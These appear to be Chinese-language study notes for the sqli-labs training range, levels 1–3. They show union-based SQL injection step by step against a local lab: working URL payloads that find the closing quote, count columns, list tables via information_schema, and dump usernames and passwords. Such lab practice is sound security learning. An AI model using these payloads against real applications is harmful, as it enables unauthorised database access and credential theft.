sql靶场笔记
第一关
1、判断闭合符号
通过提交
1 | ?id=1、?id=1 and 1=1、?id=2 |
发现有回显
在id后面加入反斜杠发现是单引号闭合
在url中加入单引号出现报错
2、即单引号字符型注入,我们可以使用order by X来获取列数(例如:id=1‘order by 1–+这条语句的意思是查询users表中user_id为1的数据并按第一字段排行)
而我们在输入id=1’ order by 4–+的时候报错,那么说明数据有三列。
3、接下来我们使用 union select 联合查询查看当前的数据库(union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询)
即:id=-1’ union select 1,2,3–+也可以(id=1’ and 1=0 union select 1,2,3–+)目的就是使union前的查询无返回结果从而返回到执行联合查询的结果
判断出数据在2,3列
4、对数据库和表进行注入获取数据
先查询当前数据库:
1 | http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,(select database()),3--+ |
然后我们用group_concat()函数查看库中有哪些表:
1 | http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="security"),3--+ |
information_schema:是数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。
也可以在第三列里爆出表名:只需把union语句放到3的位置就行
5、查看users表里面的内容
1 | http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")--+ |
6、查看用户名和密码
1 | http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,(select group_concat(username,password) from users)--+ |
第二关
1、查看回显
依旧是输入?id=1、?id=1 and 1=1、?id=2
后面加入反斜杠
发现可以不用闭合直接查询
那么就跟第一关一样了,只不过不用加单引号。
2、使用order by
发现有三列
3、用union联合查询
1 | ?id=-1 union select 1,2,3--+ |
4、查看数据库
1 | http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="security"),3--+ |
5、查看表中内容
1 | http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")--+ |
6、获取用户名和密码
1 | http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,(select group_concat(username,password) from users)--+ |
第三关
1、首先输入反斜杠,发现是单引号括号闭合
2、order by查询
发现依旧是三列
3、联合查询
1 | http://127.0.0.1/sqli-labs-master/Less-3/?id=1') and 1=2 union select 1,2,3--+ |
4、注入获取数据库和表的数据
1 | http://127.0.0.1/sqli-labs-master/Less-3//?id=-1') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="security"),3--+ |
5、查看user表里的内容
1 | http://127.0.0.1/sqli-labs-master/Less-3//?id=-1') union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")--+ |
6、查看用户名和密码
1 | http://127.0.0.1/sqli-labs-master/Less-3//?id=-1') union select 1,2,(select group_concat(username,password) from users)--+ |